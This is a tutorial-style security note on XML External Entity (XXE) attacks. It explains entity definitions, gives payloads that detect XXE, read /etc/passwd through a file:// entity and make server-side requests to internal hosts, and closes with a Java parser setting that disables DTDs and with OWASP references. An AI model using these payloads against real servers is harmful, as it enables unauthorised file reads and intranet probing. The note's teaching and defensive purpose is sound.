XML External Entity Attack

Monday, August 19, 2019 6:29 PM

About the vulnerability

Introduction

It is the type of attack which parses the XML input and allows an attacker to interfere with an application's processing of XML data. It occurs when untrusted XML input containing reference to an external entity is processed by a weekly configured XML.

This attack may lead to leakage of confidential data from the server, denial of service, Server side request forgery (SSRF), port scanning.

The Safest way to prevent this is always to disable the Document Type Definitions (External Entities) completely.

If it is not possible to disable DTDs completely , then external entities and external document type definitions must be disabled.

Description :- Attack Vectors

Editable external entity Tag :-

XML custom/internal entities

XML allows custom entities to be defined within the DTD. For example:

<!DOCTYPE foo [<!ENTITY **myentity** "my entity value" >]>

This definition means that any usage of the entity reference **&myentity** ; within the XML document will be replaced with the defined value: "my entity value".

Example of the payload

If the entity tag is editable, then we can detect the vulnerability by adding the doctype declaration to the existing XML

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

This will replace the &example; with the name called Doe. This will confirm the tag is editable.

For exploiting the vulnerability further we define the XML External Entities.

XML External entities

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the **SYSTEM** keyword and must specify a URL from which the value of the entity should be loaded. For example:

<!DOCTYPE foo [<!ENTITY ext SYSTEM "http://normal-website.com" >]>

The URL can use the file:// protocol, and so external entities can be loaded from file. For example:

<!DOCTYPE foo [<!ENTITY ext SYSTEM "file:///path/to/file" >]>

Through this we can execute the payload , located at our own website/ server.

Please note that :- **XML external entities provide the primary means by which XML external entity attacks arise.**

Examples of the attack vectors :-

a. **Exploitation to retrieve file from the server** :-
Suppose that we check the device price of any product via XML.

```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
        <productId>381</productId>
        <productname>Samsung S10</productname>
</stockCheck>
```

The application performs no particular defenses against XXE attacks, so we can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:
Here we have replaced the product id value with the payload which will help in retrieving the password file from the server.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
        <productId>&xxe</productId>
        <productname>Samsung S10</productname>
</stockCheck>
```

b. **Exploiting XXE to perform SSRF** :- This will allow access to the URLs present on the intranet environment.

In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">]>

These are some of the basic examples through which XXE can be exploited.

Also xxe can be exploited via **file upload, Xinclude attacks , blind xxe**.

Solution For this issue :-

The most generic solution for this problem is to disable the DTD declaration in the code.

Different languages, development tools follow different methods for disabling the XML parsers.

Following is the most common method, that can be integrated.

```
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
true);
```

For java based applications , the most common XML parsers used are JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J

For more details, the OWASP provides various guidelines, details of which can be found in the following URL.

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Refrences

From <https://portswigger.net/>
From <https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html>
From <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection>
From <https://portswigger.net/web-security/xxe/xml-entities>

Documented By :- Faizan Qazi